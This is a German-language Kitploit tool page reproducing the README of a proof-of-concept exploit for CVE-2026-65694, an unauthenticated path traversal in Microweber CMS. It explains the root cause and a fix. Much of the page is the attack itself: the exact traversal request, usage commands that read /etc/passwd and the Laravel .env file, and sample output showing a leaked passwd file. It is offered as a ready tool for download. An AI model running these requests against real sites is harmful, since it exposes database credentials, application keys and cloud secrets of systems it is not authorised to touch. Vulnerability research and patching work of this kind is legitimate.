Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-65694-PoC — PoC für CVE-2026-65694 — Microweber CMS (<=2.0.20) nicht authentifizierte Pfad-Traversierung → beliebiges Dateilesen (.env / secrets) | Kitploit
Tools/GitHubGitHub/abdugafforov-bobur/cve-2026-65694-poc
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungLernen & Bildung
GitHubabdugafforov-bobur/cve-2026-65694-poc

CVE-2026-65694-PoC

PoC für CVE-2026-65694 — Microweber CMS (<=2.0.20) nicht authentifizierte Pfad-Traversierung → beliebiges Dateilesen (.env / secrets)

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 26 TagenNoch nicht geprüft

CVE-2026-65694 — Microweber CMS Unauthentifiziertes Lesen beliebiger Dateien

Proof-of-Concept für CVE-2026-65694, ein unauthentifizierter Pfad-Traversal → Lesen beliebiger Dateien in Microweber CMS.

Ein nicht authentifizierter Angreifer kann über die öffentliche Route GET /userfiles/{path} jede Datei lesen, auf die der Web-Server-Benutzer zugreifen kann — die Laravel-.env-Datei (APP_KEY, DB-Zugangsdaten, E-Mail-/Cloud-Geheimnisse), /etc/passwd, Logs, Schlüssel, Nicht-.php-Konfiguration usw.

  • CVE: CVE-2026-65694
  • Typ: Pfad-Traversal → Unauthentifiziertes Lesen beliebiger Dateien (CWE-22 / CWE-23)
  • Schweregrad: Hoch — CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
  • Betroffen: Microweber ≤ 2.0.20 und aktueller master (anfällige Zeile weiterhin vorhanden)
  • Authentifizierung: Keine

Grundursache

src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php

root@kitploit:~
public function serveFromUserfiles(Request $request)
{
    $path = $request->path;                                   // <-- property read, NOT $request->path()
    $path = normalize_path(userfiles_path() . $path, false);  // <-- normalize_path() does NOT strip ".."
    return $this->sendResponse($path, $request);
}

Die Route ist ohne Authentifizierung registriert:

root@kitploit:~
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');

Zwei Probleme kommen zusammen:

  1. Input-Override. $request->path (Eigenschaftszugriff, nicht die Methode $request->path()) wird über Laravels Request::__get → Arr::get($this->all(), 'path', fn() => $this->route('path')) aufgelöst. Ein ?path=-Query-Parameter setzt also das {path}-Routensegment außer Kraft — und Query-Werte unterliegen nicht der ..-Normalisierung des URL-Pfads, die ein Browser/Server anwendet.
  2. Keine Kanonisierung. normalize_path() entfernt nur Schrägstriche; es entfernt oder löst .. niemals auf, und es gibt keine Prüfung, ob der aufgelöste Pfad innerhalb von userfiles_path() bleibt. Die Dateischicht von PHP löst die ..-Sequenzen anschließend im Dateisystem auf.

Der Controller blockiert nur die Erweiterungen .php, .phtml und .php7 (skip_ext), sodass PHP-Quellcode nicht direkt lesbar ist — aber alles andere schon (.env, /etc/passwd, Logs, Schlüssel, SQLite-Datenbanken, JSON/YAML-Konfiguration, …).

Voraussetzungen

root@kitploit:~
pip install -r requirements.txt

Erreichbar bei jeder Bereitstellung, die das empfohlene Dokumentwurzelverzeichnis public/ verwendet (die von Microweber mitgelieferte public/.htaccess oder ein nginx-Front-Controller mit try_files $uri /index.php), bei der userfiles/ außerhalb der Web-Wurzel liegt und /userfiles/* an den Laravel-Router übergeben wird.

Verwendung

Drei Aktionen:

root@kitploit:~
python3 poc.py -u http://TARGET --check                 # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd          # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env                 # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt   # download a file to disk

Die Traversal-Tiefe wird automatisch erkannt (zunehmendes ../, bis die Datei ausgeliefert wird); mit --depth N überschreibbar. Über Burp mit --proxy http://127.0.0.1:8080 leiten. Mit -v die rohe Anfrage anzeigen.

Beispiel

root@kitploit:~
$ python3 poc.py -u http://target:8080 --check

  Microweber CMS  -  Unauthenticated Arbitrary File Read
  CVE-2026-65694   ( GET /userfiles/ ?path= traversal )
  by Bobur Abdugafforov

[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)

$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)

Die zugrunde liegende Anfrage ist schlicht:

root@kitploit:~
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target

Auswirkungen

Unauthentifiziertes Lesen beliebiger Dateien. Das Auslesen der Laravel-.env-Datei liefert den APP_KEY (Session-/Cookie-Fälschung), Datenbank-Zugangsdaten, E-Mail-Passwort und Cloud-Schlüssel — praktisch eine vollständige Kompromittierung der Geheimnisse der Instanz.

Behebung

Den gebundenen Routenparameter anstelle der Eingabe-Eigenschaft lesen, mit realpath() kanonisieren und prüfen, dass der aufgelöste Pfad innerhalb von userfiles_path() bleibt:

root@kitploit:~
public function serveFromUserfiles(Request $request)
{
    $requested = (string) $request->route('path');
    $base = realpath(userfiles_path());
    $path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
    abort_if($base === false || $path === false
        || strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
    return $this->sendResponse($path, $request);
}

Anerkennung

Entdeckt und gemeldet von Bobur Abdugafforov. CVE-2026-65694 wurde über VulnCheck vergeben.

Haftungsausschluss

Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Nicht gegen Systeme verwenden, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast.

Tool herunterladen
FlagAktion
--checkMeldet, ob das Ziel verwundbar ist (ja/nein), ohne Daten auszugeben
-r, --read FILELiest eine Datei und gibt sie auf stdout aus
-d, --download FILELiest eine Datei und speichert sie lokal (-o/--output legt den Namen fest)